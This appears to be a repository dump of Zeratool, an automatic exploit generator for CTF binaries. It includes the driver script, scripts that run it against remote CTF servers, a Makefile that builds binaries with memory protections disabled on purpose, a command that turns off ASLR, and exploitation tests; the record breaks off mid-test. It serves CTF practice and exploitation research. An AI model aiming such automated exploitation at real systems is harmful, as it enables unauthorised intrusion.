75 | # Buffer Overflows with ropping
76 | zerapwn.py tests/bin/bof_nx_32
77 | zerapwn.py tests/bin/bof_nx_64
78 | # Buffer Overflow with ropping and libc leak
79 | zerapwn.py tests/bin/bof_nx_64 -l tests/bin/libc.so.6_amd64
80 |
81 | #Format string leak
82 | zerapwn.py tests/bin/read_stack_32
83 | zerapwn.py tests/bin/read_stack_64
84 | #Format string point to win function
85 | zerapwn.py challenges/medium_format
86 | #Format string point to shellcode
87 | #zerapwn.py challenges/hard_format #This one sometimes needs to be run twice
88 |
89 | # Buffer overflow point to shellcode
90 | # Turn off aslr
91 | # echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
92 | zerapwn.py tests/bin/bof_32 --force_shellcode
93 | zerapwn.py tests/bin/bof_64 --force_shellcode
94 |
95 | # Remote libc leak
96 | socat TCP4-LISTEN:7903,tcpwrap=script,reuseaddr,fork EXEC:./bof_nx_64
97 | zerapwn.py tests/bin/bof_nx_64 -u localhost -p 7903 --skip_check --overflow_only
98 |
99 | # Ret2dlresolve
100 | zerapwn.py tests/bin/bof_dlresolve_64 --force_dlresolve --skip_check --overflow_only --no_win
101 | ```
102 |
103 | [Long Asciinema with Three Solves](https://asciinema.org/a/188001)
104 |
105 | ## Run the tests!
106 | Tox and Pytest are used to verify that Zeratool is working correctly.
107 | ```
108 | tox .
109 | ```
110 |
111 | ## FAQ
112 | Q. Why doesn't Zeratool work against my simple exploitable?
113 |
114 | A. Zeratool is held together by scotch tape and dreams.
115 |
--------------------------------------------------------------------------------
/bin/zerapwn.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from __future__ import print_function
3 | from shutil import which
4 | import argparse
5 | import logging
6 | import os
7 |
8 | from zeratool import formatDetector
9 | from zeratool import formatLeak
10 | from zeratool import inputDetector
11 | from zeratool import overflowDetector
12 | from zeratool import overflowExploiter
13 | from zeratool import overflowExploitSender
14 | from zeratool import protectionDetector
15 | from zeratool import winFunctionDetector
16 | from zeratool import formatExploiter
17 | from zeratool import overflowRemoteLeaker
18 |
19 | logging.basicConfig()
20 | logging.root.setLevel(logging.INFO)
21 |
22 | loud_loggers = [
23 | "angr.engines",
24 | "angr.sim_manager",
25 | "angr.simos",
26 | "angr.project",
27 | "angr.procedures",
28 | "cle",
29 | "angr.storage",
30 | "pyvex.expr",
31 | ]
32 |
33 | log = logging.getLogger(__name__)
34 |
35 |
36 | def is_radare_installed():
37 | return which("r2") is not None
38 |
39 |
40 | def main():
41 |
42 | if not is_radare_installed():
43 | log.info("[-] Error radare2 is not installed.")
44 | exit(1)
45 |
46 | parser = argparse.ArgumentParser()
47 | parser.add_argument("file", help="File to analyze")
48 | parser.add_argument("-l", "--libc", help="libc to use")
49 | parser.add_argument("-u", "--url", help="Remote URL to pwn", default="")
50 | parser.add_argument("-p", "--port", help="Remote port to pwn", default=0, type=int)
51 | parser.add_argument(
52 | "-v", "--verbose", help="Verbose mode", action="store_true", default=False
53 | )
54 | parser.add_argument(
55 | "--force_shellcode",
56 | default=False,
57 | action="store_true",
58 | help="Set overflow pwn mode to point to shellcode",
59 | )
60 | parser.add_argument(
61 | "--force_dlresolve",
62 | default=False,
63 | action="store_true",
64 | help="Set overflow pwn mode to use ret2dlresolve",
65 | )
66 | parser.add_argument(
67 | "--skip_check",
68 | default=False,
69 | action="store_true",
70 | help="Skip first check and jump right to exploiting",
71 | )
72 | parser.add_argument(
73 | "--no_win",
74 | default=False,
75 | action="store_true",
76 | help="Skip win function checking",
77 | )
78 |
79 | parser.add_argument(
80 | "--format_only",
81 | default=False,
82 | action="store_true",
83 | help="Only run format strings check",
84 | )
85 | parser.add_argument(
86 | "--overflow_only",
87 | default=False,
88 | action="store_true",
89 | help="Only run overflow check",
90 | )
91 |
92 | args = parser.parse_args()
93 | if args.file is None:
94 | log.info("[-] Exitting no file specified")
95 | exit(1)
96 | if args.verbose:
97 | logging.basicConfig(level=logging.DEBUG)
98 | if not args.verbose:
99 | for loud_logger in loud_loggers:
100 | logging.getLogger(loud_logger).setLevel(logging.ERROR)
101 |
102 | logging.getLogger("angr.project").disabled = True
103 |
104 | # For stack problems where env gets shifted
105 | # based on path, using the abs path everywhere
106 | # makes it consistent
107 | args.file = os.path.abspath(args.file)
108 |
109 | # Detect problem type
110 | properties = {}
111 | properties["input_type"] = inputDetector.checkInputType(args.file)
112 | properties["libc"] = args.libc
113 | properties["file"] = args.file
114 | properties["force_shellcode"] = args.force_shellcode
115 | properties["pwn_type"] = {}
116 | properties["pwn_type"]["type"] = None
117 | properties["force_dlresolve"] = args.force_dlresolve
118 | log.info("[+] Checking pwn type...")
119 |
120 | # Is there an easy win function
121 | properties["win_functions"] = []
122 | if not args.no_win:
123 | properties["win_functions"] = winFunctionDetector.getWinFunctions(args.file)
124 |
125 | if not args.format_only and not args.skip_check:
126 | log.info("[+] Checking for overflow pwn type...")
127 | properties["pwn_type"] = overflowDetector.checkOverflow(
128 | args.file, inputType=properties["input_type"]
129 | )
130 | if not args.overflow_only and not args.skip_check:
131 | if properties["pwn_type"]["type"] is None:
132 | log.info("[+] Checking for format string pwn type...")
133 | properties["pwn_type"] = formatDetector.checkFormat(
134 | args.file, inputType=properties["input_type"]
135 | )
136 |
137 | if args.skip_check and args.overflow_only:
138 | properties["pwn_type"]["type"] = "Overflow"
139 | if args.skip_check and args.format_only:
140 | properties["pwn_type"]["type"] = "Format"
141 |
142 | if args.url != "" and args.port != 0:
143 | properties["remote"] = {}
144 | properties["remote"]["url"] = args.url
145 | properties["remote"]["port"] = args.port
146 |
147 | # Get problem mitigations
148 | log.info("[+] Getting binary protections")
149 | properties["protections"] = protectionDetector.getProperties(args.file)
150 |
151 | # Is it a leak based one?
152 | if properties["pwn_type"]["type"] == "Format":
153 | log.info("[+] Checking for flag leak")
154 | properties["pwn"] = formatLeak.checkLeak(args.file, properties)
155 | # Launch leak remotely
156 | if properties["pwn"]["flag_found"] and args.url != "":
157 | log.info("[+] Found flag through leaks locally. Launching remote exploit")
158 | log.info("[+] Connecting to {}:{}".format(args.url, args.port))
159 | properties["pwn"]["exploit"] = formatLeak.checkLeak(
160 | args.file,
161 | properties,
162 | remote_server=True,
163 | remote_url=properties["remote"]["url"],
164 | port_num=properties["remote"]["port"],
165 | )
166 | if properties["pwn"]["flag_found"]:
167 | exit(0)
168 |
169 | # Exploit overflows
170 | if properties["pwn_type"]["type"] == "Overflow":
171 | log.info("[+] Exploiting overflow")
172 |
173 | # If we don't have a libc, see if we can leak it
174 | if properties["libc"] is None and properties.get("remote", False):
175 | properties["libc"] = overflowRemoteLeaker.leak_remote_functions(
176 | args.file, properties, inputType=properties["input_type"]
177 | )
178 |
179 | properties["pwn_type"]["results"] = {}
180 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
181 | args.file, properties, inputType=properties["input_type"]
182 | )
183 | if properties["pwn_type"]["results"]["type"]:
184 |
185 | # If we're leaking the remote libc we can't test locally
186 | if isinstance(properties["libc"], dict):
187 | # properties["send_results"] = overflowExploitSender.sendExploit(
188 | # args.file, properties, debug=True
189 | # )
190 | properties["remote_results"] = overflowExploitSender.sendExploit(
191 | args.file,
192 | properties,
193 | remote_server=True,
194 | remote_url=properties["remote"]["url"],
195 | port_num=properties["remote"]["port"],
196 | )
197 | else:
198 | properties["send_results"] = overflowExploitSender.sendExploit(
199 | args.file, properties
200 | )
201 | if (
202 | properties["send_results"] is not None
203 | and properties["send_results"].get("flag_found", False)
204 | and args.url != ""
205 | ):
206 | properties["remote_results"] = overflowExploitSender.sendExploit(
207 | args.file,
208 | properties,
209 | remote_server=True,
210 | remote_url=properties["remote"]["url"],
211 | port_num=properties["remote"]["port"],
212 | )
213 |
214 | elif properties["pwn_type"]["type"] == "overflow_variable":
215 | properties["pwn_type"]["results"] = properties["pwn_type"]
216 | properties["send_results"] = overflowExploitSender.sendExploit(
217 | args.file, properties
218 | )
219 | if properties["send_results"]["flag_found"] and args.url != "":
220 | properties["remote_results"] = overflowExploitSender.sendExploit(
221 | args.file,
222 | properties,
223 | remote_server=True,
224 | remote_url=args.url,
225 | port_num=int(args.port),
226 | )
227 |
228 | elif properties["pwn_type"]["type"] == "Format":
229 | properties["pwn_type"]["results"] = formatExploiter.exploitFormat(
230 | args.file, properties
231 | )
232 | if (
233 | properties["pwn_type"] is not None
234 | and "flag_found" in properties["pwn_type"].keys()
235 | and properties["pwn_type"]["results"]["flag_found"]
236 | and args.url != ""
237 | ):
238 | properties["pwn_type"]["send_results"] = formatExploiter.getRemoteFormat(
239 | properties, remote_url=args.url, remote_port=int(args.port)
240 | )
241 | else:
242 | log.info("[-] Can not determine vulnerable type")
243 |
244 |
245 | if __name__ == "__main__":
246 | main()
247 |
--------------------------------------------------------------------------------
/challenges/bof1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/bof1
--------------------------------------------------------------------------------
/challenges/bof2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/bof2
--------------------------------------------------------------------------------
/challenges/bof3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/bof3
--------------------------------------------------------------------------------
/challenges/demo_bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/demo_bin
--------------------------------------------------------------------------------
/challenges/easy_format:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/easy_format
--------------------------------------------------------------------------------
/challenges/flag.txt:
--------------------------------------------------------------------------------
1 | TEST
2 |
--------------------------------------------------------------------------------
/challenges/hard_format:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/hard_format
--------------------------------------------------------------------------------
/challenges/heap0:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/heap0
--------------------------------------------------------------------------------
/challenges/libpwnableharness32.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/libpwnableharness32.so
--------------------------------------------------------------------------------
/challenges/libpwnableharness64.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/libpwnableharness64.so
--------------------------------------------------------------------------------
/challenges/medium_format:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/medium_format
--------------------------------------------------------------------------------
/challenges/ret:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/ret
--------------------------------------------------------------------------------
/challenges/stack0:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/stack0
--------------------------------------------------------------------------------
/flag.txt:
--------------------------------------------------------------------------------
1 | flag{y0u_g0t_1t}
2 |
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | echo "[~~~] This install script is deprecated. Please use pip install method instead"
3 | sudo apt-get install python-pip python-dev build-essential rubygems-integration ruby-dev rubygems python-dev libffi-dev -y
4 | #Ubuntu 12 -> rubygems
5 | #Ubuntu 14 -> rubygems-integration
6 | #Ubuntu 16,18 -> ruby-dev
7 |
8 | sudo dpkg --add-architecture i386
9 | sudo apt-get update
10 | sudo apt-get install libc6:i386 libstdc++6:i386 -y
11 |
12 |
13 | sudo pip install virtualenv virtualenvwrapper
14 |
15 | sudo pip install --upgrade pip
16 |
17 | printf '\n%s\n%s\n%s' '# virtualenv' 'export WORKON_HOME=~/virtualenvs' 'source /usr/local/bin/virtualenvwrapper.sh' >> ~/.bashrc
18 |
19 | export WORKON_HOME=~/virtualenvs
20 | source /usr/local/bin/virtualenvwrapper.sh
21 |
22 | mkvirtualenv zeratool
23 |
24 | workon zeratool
25 |
26 | sudo gem install one_gadget
27 |
28 | #Need to port to latest angr
29 | pip install angr==7.8.2.21 cffi==1.7.0 future==0.16.0 pycparser==2.18 IPython==5.0 r2pipe psutil timeout_decorator pwn
30 |
31 | git clone https://github.com/radare/radare2.git
32 |
33 | sudo ./radare2/sys/install.sh
34 |
35 | pip install IPython==5.0 r2pipe psutil timeout_decorator pwn
36 |
37 | echo "####################"
38 | echo "run: . ~/.bashrc"
39 | echo "run: workon zeratool"
40 |
--------------------------------------------------------------------------------
/samples.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #Buffer Overflows with win functions
3 | zerapwn.py challenges/ret -u ctf.hackucf.org -p 9003
4 | zerapwn.py challenges/bof3 -u ctf.hackucf.org -p 9002
5 | zerapwn.py challenges/bof2 -u ctf.hackucf.org -p 9001
6 | zerapwn.py challenges/bof1 -u ctf.hackucf.org -p 9000
7 | #Down for the summer
8 | #zerapwn.py challenges/easy_format -u tctf.competitivecyber.club -p 7801
9 | #zerapwn.py challenges/medium_format -u tctf.competitivecyber.club -p 7802
10 |
11 | #Format string leak
12 | zerapwn.py challenges/easy_format
13 | #Format string point to win function
14 | zerapwn.py challenges/medium_format
15 | #Format string point to shellcode
16 | #Sometimes r2 debug doesn't give us matching shellcode
17 | #locations to our normal running environment. and sometimes
18 | #running it twice makes it work
19 | zerapwn.py challenges/hard_format
20 |
21 | #Buffer overflow point to shellcode
22 | zerapwn.py challenges/demo_bin
23 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | import setuptools
2 |
3 |
4 | setuptools.setup(
5 | name="zeratool",
6 | version="2.2",
7 | scripts=["bin/zerapwn.py"],
8 | author="Christopher Roberts",
9 | author_email="",
10 | description="Automatic Exploit Generation (AEG) and remote flag capture for exploitable CTF problems",
11 | url="https://github.com/ChrisTheCoolHut/Zeratool",
12 | packages=["zeratool"],
13 | install_package_data=True,
14 | install_requires=[
15 | "angr",
16 | "r2pipe",
17 | "claripy",
18 | "IPython",
19 | "timeout_decorator",
20 | "pwntools",
21 | "tox",
22 | "tqdm",
23 | ],
24 | )
25 |
--------------------------------------------------------------------------------
/tests/Makefile:
--------------------------------------------------------------------------------
1 |
2 | build_flags := -fno-stack-protector -z execstack \
3 | -Wno-implicit-function-declaration -no-pie \
4 | -Wno-format-security -fcf-protection=none -mno-shstk
5 | build_NX_flags := -fno-stack-protector \
6 | -Wno-implicit-function-declaration -no-pie \
7 | -Wno-format-security -z relro -fcf-protection=none -mno-shstk
8 | bin_names := bof_32 bof_64 bof_win_32 bof_win_64 \
9 | read_stack_32 format_pc_write_32 format_write_and_constrain_32 \
10 | read_stack_64 format_pc_write_64 format_write_and_constrain_64 \
11 | flag.txt
12 |
13 | CC := gcc
14 |
15 | all: build_bof build_format_32 build_format_64 build_flag
16 |
17 | build_bof:
18 | $(CC) -m32 buffer_overflow.c -o bin/bof_32 $(build_flags)
19 | $(CC) buffer_overflow.c -o bin/bof_64 $(build_flags)
20 | $(CC) -m32 buffer_overflow.c -o bin/bof_nx_32 $(build_NX_flags)
21 | $(CC) buffer_overflow.c -o bin/bof_nx_64 $(build_NX_flags)
22 | $(CC) -m32 buffer_overflow.c -o bin/bof_win_32 -Dwin_func $(build_flags)
23 | $(CC) buffer_overflow.c -o bin/bof_win_64 -Dwin_func $(build_flags)
24 |
25 | $(CC) buffer_overflow.c -o bin/bof_srop_64 -Dsrop_func $(build_flags)
26 | $(CC) buffer_overflow.c -o bin/bof_dlresolve_64 -Ddlresolve_read_func \
27 | -fno-stack-protector -no-pie -z norelro -Wno-nonnull
28 |
29 | build_format_32:
30 | $(CC) -O0 -m32 -fno-stack-protector -o bin/read_stack_32 \
31 | format_string.c -DEASY $(build_flags)
32 | $(CC) -O0 -m32 -fno-stack-protector -o bin/format_pc_write_32 \
33 | format_string.c -DMEDIUM $(build_flags) -z relro
34 | $(CC) -O0 -m32 -fno-stack-protector -o bin/format_write_and_constrain_32 \
35 | format_string.c -DHARD $(build_flags)
36 |
37 | build_format_64:
38 | $(CC) -O0 -fno-stack-protector -o bin/read_stack_64 \
39 | format_string.c -DEASY $(build_flags)
40 | $(CC) -O0 -fno-stack-protector -o bin/format_pc_write_64 \
41 | format_string.c -DMEDIUM $(build_flags) -z relro
42 | $(CC) -O0 -fno-stack-protector -o bin/format_write_and_constrain_64 \
43 | format_string.c -DHARD $(build_flags)
44 |
45 | build_flag:
46 | echo "flag{y0u_g0t_1t}" > flag.txt
47 | cp flag.txt ../
48 |
49 | clean:
50 | rm -rf bin/*
--------------------------------------------------------------------------------
/tests/bin/bof_32:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_32
--------------------------------------------------------------------------------
/tests/bin/bof_64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_64
--------------------------------------------------------------------------------
/tests/bin/bof_dlresolve_64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_dlresolve_64
--------------------------------------------------------------------------------
/tests/bin/bof_nx_32:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_nx_32
--------------------------------------------------------------------------------
/tests/bin/bof_nx_64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_nx_64
--------------------------------------------------------------------------------
/tests/bin/bof_srop_64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_srop_64
--------------------------------------------------------------------------------
/tests/bin/bof_win_32:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_win_32
--------------------------------------------------------------------------------
/tests/bin/bof_win_64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_win_64
--------------------------------------------------------------------------------
/tests/bin/format_pc_write_32:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/format_pc_write_32
--------------------------------------------------------------------------------
/tests/bin/format_pc_write_64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/format_pc_write_64
--------------------------------------------------------------------------------
/tests/bin/format_write_and_constrain_32:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/format_write_and_constrain_32
--------------------------------------------------------------------------------
/tests/bin/format_write_and_constrain_64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/format_write_and_constrain_64
--------------------------------------------------------------------------------
/tests/bin/libc.so.6_amd64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/libc.so.6_amd64
--------------------------------------------------------------------------------
/tests/bin/libc.so.6_i386:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/libc.so.6_i386
--------------------------------------------------------------------------------
/tests/bin/read_stack_32:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/read_stack_32
--------------------------------------------------------------------------------
/tests/bin/read_stack_64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/read_stack_64
--------------------------------------------------------------------------------
/tests/bof_test.py:
--------------------------------------------------------------------------------
1 | import os
2 | import pytest
3 | import random
4 | import multiprocessing
5 | import subprocess
6 | import shlex
7 | from shutil import which
8 |
9 | os.environ["PWNLIB_NOTERM"] = "1"
10 | from zeratool import overflowDetector
11 | from zeratool import overflowExploiter
12 | from zeratool import overflowExploitSender
13 | from zeratool import winFunctionDetector
14 | from zeratool import protectionDetector
15 | from zeratool import overflowRemoteLeaker
16 |
17 | from contextlib import redirect_stdout, redirect_stderr, contextmanager, ExitStack
18 |
19 |
20 | @contextmanager
21 | def suppress(out=True, err=False):
22 | with ExitStack() as stack:
23 | with open(os.devnull, "w") as null:
24 | if out:
25 | stack.enter_context(redirect_stdout(null))
26 | if err:
27 | stack.enter_context(redirect_stderr(null))
28 | yield
29 |
30 |
31 | def test_detect_32():
32 | with suppress():
33 | test_file = "tests/bin/bof_win_32"
34 | input_type = "STDIN"
35 | pwn_type = overflowDetector.checkOverflow(test_file, inputType=input_type)
36 | assert pwn_type["type"] == "Overflow"
37 |
38 |
39 | def test_detect_64():
40 | with suppress():
41 | test_file = "tests/bin/bof_win_64"
42 | input_type = "STDIN"
43 | pwn_type = overflowDetector.checkOverflow(test_file, inputType=input_type)
44 | assert pwn_type["type"] == "Overflow"
45 |
46 |
47 | def test_get_win_func():
48 | with suppress():
49 | test_file = "tests/bin/bof_win_32"
50 | win_functions = winFunctionDetector.getWinFunctions(test_file)
51 | assert "sym.print_flag" in win_functions
52 |
53 |
54 | def test_pwn_win_func_32():
55 | test_file = "tests/bin/bof_win_32"
56 | input_type = "STDIN"
57 | properties = {"pwn_type": {}}
58 | with suppress():
59 | properties["win_functions"] = winFunctionDetector.getWinFunctions(test_file)
60 | assert "sym.print_flag" in properties["win_functions"]
61 |
62 | with suppress():
63 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
64 | test_file, properties, inputType=input_type
65 | )
66 | assert properties["pwn_type"]["results"]["type"] == "Overflow"
67 |
68 |
69 | def test_pwn_win_func_64():
70 | test_file = "tests/bin/bof_win_64"
71 | input_type = "STDIN"
72 | properties = {"pwn_type": {}}
73 | with suppress():
74 | properties["win_functions"] = winFunctionDetector.getWinFunctions(test_file)
75 | assert "sym.print_flag" in properties["win_functions"]
76 |
77 | with suppress():
78 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
79 | test_file, properties, inputType=input_type
80 | )
81 | assert properties["pwn_type"]["results"]["type"] == "Overflow"
82 |
83 |
84 | def test_pwn_win_sc_32():
85 | # Setup for test
86 | test_file = "tests/bin/bof_32"
87 | input_type = "STDIN"
88 | properties = {"pwn_type": {}}
89 | properties["file"] = test_file
90 | properties["force_shellcode"] = True
91 |
92 | # No win function allowed
93 | properties["win_functions"] = None
94 | with suppress():
95 | # Protections trigger exploit find type
96 | properties["protections"] = protectionDetector.getProperties(test_file)
97 | assert properties["protections"]["nx"] == False
98 |
99 | with suppress():
100 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
101 | test_file, properties, inputType=input_type
102 | )
103 | assert properties["pwn_type"]["results"]["type"] == "Overflow"
104 |
105 |
106 | def test_pwn_win_sc_64():
107 | # Setup for test
108 | test_file = "tests/bin/bof_64"
109 | input_type = "STDIN"
110 | properties = {"pwn_type": {}}
111 | properties["file"] = test_file
112 | properties["force_shellcode"] = True
113 |
114 | # No win function allowed
115 | properties["win_functions"] = None
116 |
117 | with suppress():
118 | # Protections trigger exploit find type
119 | properties["protections"] = protectionDetector.getProperties(test_file)
120 | assert properties["protections"]["nx"] == False
121 |
122 | with suppress():
123 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
124 | test_file, properties, inputType=input_type
125 | )
126 | assert properties["pwn_type"]["results"]["type"] == "Overflow"
127 |
128 |
129 | def test_send_exploit():
130 | test_file = "tests/bin/bof_win_64"
131 | input_type = "STDIN"
132 | properties = {"pwn_type": {}}
133 |
134 | with suppress():
135 | properties["win_functions"] = winFunctionDetector.getWinFunctions(test_file)
136 | assert "sym.print_flag" in properties["win_functions"]
137 |
138 | with suppress():
139 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
140 | test_file, properties, inputType=input_type
141 | )
142 | assert properties["pwn_type"]["results"]["type"] == "Overflow"
143 |
144 | with suppress():
145 | properties["send_results"] = overflowExploitSender.sendExploit(
146 | test_file, properties
147 | )
148 | assert properties["send_results"]["flag_found"] == True
149 |
150 |
151 | def test_leak_rop_32():
152 |
153 | test_file = "tests/bin/bof_nx_32"
154 | input_type = "STDIN"
155 | properties = {"pwn_type": {}}
156 | properties["file"] = test_file
157 |
158 | with suppress():
159 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
160 | test_file, properties, inputType=input_type
161 | )
162 | assert properties["pwn_type"]["results"]["type"] == "leak"
163 |
164 |
165 | def test_leak_rop_64():
166 |
167 | test_file = "tests/bin/bof_nx_64"
168 | input_type = "STDIN"
169 | properties = {"pwn_type": {}}
170 | properties["file"] = test_file
171 |
172 | with suppress():
173 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
174 | test_file, properties, inputType=input_type
175 | )
176 | assert properties["pwn_type"]["results"]["type"] == "leak"
177 |
178 |
179 | def test_pwn_rop_32():
180 |
181 | test_file = "tests/bin/bof_nx_32"
182 | input_type = "STDIN"
183 | properties = {"pwn_type": {}}
184 | properties["input_type"] = input_type
185 | properties["file"] = test_file
186 | attempts = 3
187 | while attempts > 0:
188 | with suppress():
189 | # Protections trigger exploit find type
190 | properties["protections"] = protectionDetector.getProperties(test_file)
191 |
192 | with suppress():
193 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
194 | test_file, properties, inputType=input_type
195 | )
196 | assert properties["pwn_type"]["results"]["type"] == "leak"
197 |
198 | properties["send_results"] = overflowExploitSender.sendExploit(
199 | test_file, properties
200 | )
201 |
202 | if not properties["send_results"]["flag_found"]:
203 | attempts -= 1
204 | continue
205 |
206 | assert properties["send_results"]["flag_found"] == True
207 | break
208 |
209 |
210 | def test_pwn_rop_64():
211 |
212 | test_file = "tests/bin/bof_nx_64"
213 | input_type = "STDIN"
214 | properties = {"pwn_type": {}}
215 | properties["input_type"] = input_type
216 | properties["file"] = test_file
217 | attempts = 3
218 | while attempts > 0:
219 | with suppress():
220 | # Protections trigger exploit find type
221 | properties["protections"] = protectionDetector.getProperties(test_file)
222 |
223 | with suppress():
224 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
225 | test_file, properties, inputType=input_type
226 | )
227 | assert properties["pwn_type"]["results"]["type"] == "leak"
228 |
229 | properties["send_results"] = overflowExploitSender.sendExploit(
230 | test_file, properties
231 | )
232 |
233 | if not properties["send_results"]["flag_found"]:
234 | attempts -= 1
235 | continue
236 |
237 | assert properties["send_results"]["flag_found"] == True
238 | break
239 |
240 |
241 | @pytest.mark.skip(reason="Not yet finished")
242 | def test_pwn_libc_rop_32():
243 |
244 | test_file = "tests/bin/bof_nx_32"
245 | input_type = "STDIN"
246 | properties = {"pwn_type": {}}
247 | properties["input_type"] = input_type
248 | properties["file"] = test_file
249 | properties["libc"] = "tests/bin/libc.so.6_i386"
250 | attempts = 3
251 | while attempts > 0:
252 | with suppress():
253 | # Protections trigger exploit find type
254 | properties["protections"] = protectionDetector.getProperties(test_file)
255 |
256 | with suppress():
257 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
258 | test_file, properties, inputType=input_type
259 | )
260 | assert properties["pwn_type"]["results"]["type"] == "leak"
261 |
262 | properties["send_results"] = overflowExploitSender.sendExploit(
263 | test_file, properties
264 | )
265 |
266 | if not properties["send_results"]["flag_found"]:
267 | attempts -= 1
268 | continue
269 |
270 | assert properties["send_results"]["flag_found"] == True
271 | break
272 |
273 |
274 | def test_pwn_libc_rop_64():
275 |
276 | test_file = "tests/bin/bof_nx_64"
277 | input_type = "STDIN"
278 | properties = {"pwn_type": {}}
279 | properties["input_type"] = input_type
280 | properties["file"] = test_file
281 | properties["libc"] = "tests/bin/libc.so.6_amd64"
282 | attempts = 3
283 | while attempts > 0:
284 | with suppress():
285 | # Protections trigger exploit find type
286 | properties["protections"] = protectionDetector.getProperties(test_file)
287 |
288 | with suppress():
289 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
290 | test_file, properties, inputType=input_type
291 | )
292 | assert properties["pwn_type"]["results"]["type"] == "leak"
293 |
294 | properties["send_results"] = overflowExploitSender.sendExploit(
295 | test_file, properties
296 | )
297 |
298 | if not properties["send_results"]["flag_found"]:
299 | attempts -= 1
300 | continue
301 |
302 | assert properties["send_results"]["flag_found"] == True
303 | break
304 |
305 |
306 | def test_remote_libc_leak_64():
307 | """
308 | We'll host the binary and then do a ret2libc using
